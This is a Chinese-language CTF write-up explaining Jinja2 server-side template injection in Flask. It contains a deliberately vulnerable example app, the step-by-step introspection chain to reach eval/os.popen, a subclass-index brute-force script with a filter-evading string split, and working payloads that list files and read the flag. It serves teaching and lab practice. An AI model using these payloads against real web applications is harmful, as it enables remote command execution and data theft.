目录
做这道题的时候,再次深入了解了一下SSTI,不过发现去讲解这题原理的文章实在是太少了,额也有可能是大佬觉得没有必要讲,不过在这里还是记录一下自己的一些解题思路,一方面也是防止自己忘记。文章会以简单容易理解的方式去理解SSTI的成因,不会设计一些复杂的问题但是还是需要拥有一些python的基础知识的,如有错误,欢迎指正
服务器端模板注入(Server-Side Template Injection)
漏洞的主要产生点就是网页模板中的变量被二次渲染时造成的漏洞,服务端接收了用户的恶意输入后,在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,如信息泄露,命令执行,获取权限等等
JinJia模板引擎特点
{{ ... }}:装载一个变量,模板渲染时,会使用传进来的通命名参数将代表的值替换
{% ... %}:装载一个控制语句
{# ... #}:装载一个注释,模板渲染的时候会忽视这个值
- # 无二次渲染
- from flask import *
-
- app = Flask(__name__)
-
-
- @app.route('/')
- def index():
- str = request.args.get('s')
- html = '
welcome
{{str}}' - return render_template_string(html, str=str)
-
-
- if __name__ == '__main__':
- app.run()
以上代码中见到的@app.route(’/’),相当于一个路径,设置后,在url后面加上/user就可以访问了,
每一个route后面都必须由一个def函数存在
在pycharm中右击运行

右击运行,以get方式传入参数s,s的值为{{2*2}}
访问pycharm开启的URL,如下图,{{2*2}}被打印,代码没有被执行

- # 有二次渲染
- from flask import *
-
- app = Flask(__name__)
-
-
- @app.route('/')
- def index():
- str = request.args.get('s')
- html = '
welcome
%s'%(str) - return render_template_string(html)
-
-
- if __name__ == '__main__':
- app.run()
右击运行,用get方式传入s的值,{{2*2}}代码被执行,2如下图,乘以2的结果为4
例如:{{}}在Jinja2中作为变量包裹标识符,在渲染的时候会把{{}}包裹的内容当做变量解析替换,
比如{{2*2}}会被解析成4

如果在某个页面中找到了如上所示的SSTI漏洞,那么我们可以利用这个注入点,通过s传参,执行
模板引擎的控制语句以及命令
基本思路:利用python中的魔术方法找到所需的函数
当然凡是使用模板的地方都可能会出现SSTI 的问题,SSTI 不属于任何一种语言
''.__class__
''的类型是str类型,调用__class__,指向变量所属的类,格式为"变量.__class__"

''.__class__.__mro__
由于''为str类型,通过str寻找当前类对象的所有继承类,当然__mro__不是唯一的方法,如__base__同样也可以寻找,但是只能找上一层的父类,如果被找的类型不止一个父类的话,就得通过很多个base去找

''.__class__.__mro__[1].__subclasses__()
__class__.__mro__以元组形式返还了两个关系,
和 ,我们通过索引获取后面的object,再通过__subclasses__找到object对象下的所有子类,当然同样可以通过__class__.__base__.__subclasses__()寻找

这里我利用的是os模块,也就是subclasses()的第133个索引位,如下图

''.__class__.__mro__[1].__subclasses__()[133]
通过索引获取

''.__class__.__mro__[1].__subclasses__()[133].__init__
通过__init__初始化类,查看是否有重载,出现wrapper说明已经被重载了

''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__
通过__globals__寻找所有的方法及变量及参数

''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']
以上找出了很多的全局变量,以字典的形式输出,这里用'__builtion__'做演示

''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']
以上全局变量包含eval,利用eval再通过popen执行命令,如果使用system之类的函数,可能照成不会回显,所以用popen是首选

''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ipconfig').read()")
命令执行ipconfig
简单来说,和SQL注入很像,循环渐进,找到库名,找表名,找到表名找字段等等,SSTI先找到父类,然后找父类下的子类,初始化后看看是否重载,再通过全局变量找到特定函数进行执行命令

这道题的漏洞点非常明显,一个是通过题目其实可以猜到这是一道SSTI的题型了,源码也给出了
提示,通过get类型,以search传值

既然目标明确了,那么首先调用class
/?search={{''.__class__}}

通过str寻找当前类对象的所有继承类
/?search={{''.__class__.__mro__}}

以元组形式返还了三个关系,
面的object,再通过subclasses找到object对象下的所有子类
/?search={{''.__class__.__mro__[2].__subclasses__()}}

那么问题来了,眼前有这么多的子类,如何知道哪一个可以被我们利用并且成功命令执行呢,在第
一个例子里,我们通过globals全局变量获取了builtins,利用eval成功命令执行,那么是否可以编写
一个脚本批量寻找builtins,利用返回的状态码判断哪个子类可以被我们使用
- import requests
-
- url = 'http://c77cb43a-a5f0-44dd-bc75-7e531b6a69e5.node4.buuoj.cn:81'
- for i in range(1, 100):
- payload = "/?search={{''.__class__.__mro__[2].__subclasses__()["+str(i)+"].__init__['__glo'+'bals__']}}"
- newurl = url + payload
- res = requests.get(url=newurl + payload)
- if 'builtins' in res.text:
- print(newurl)
- else:
- pass
执行结果如下:

那么,payload就显而易见了,利用builtins的eval执行任意命令
/?search={{''.__class__.__mro__[2].__subclasses__()[76].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

查看flag,一开始我还以为flag在app.py文件里,以为flag形式改了,真的无语
/?search={{''.__class__.__mro__[2].__subclasses__()[76].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}
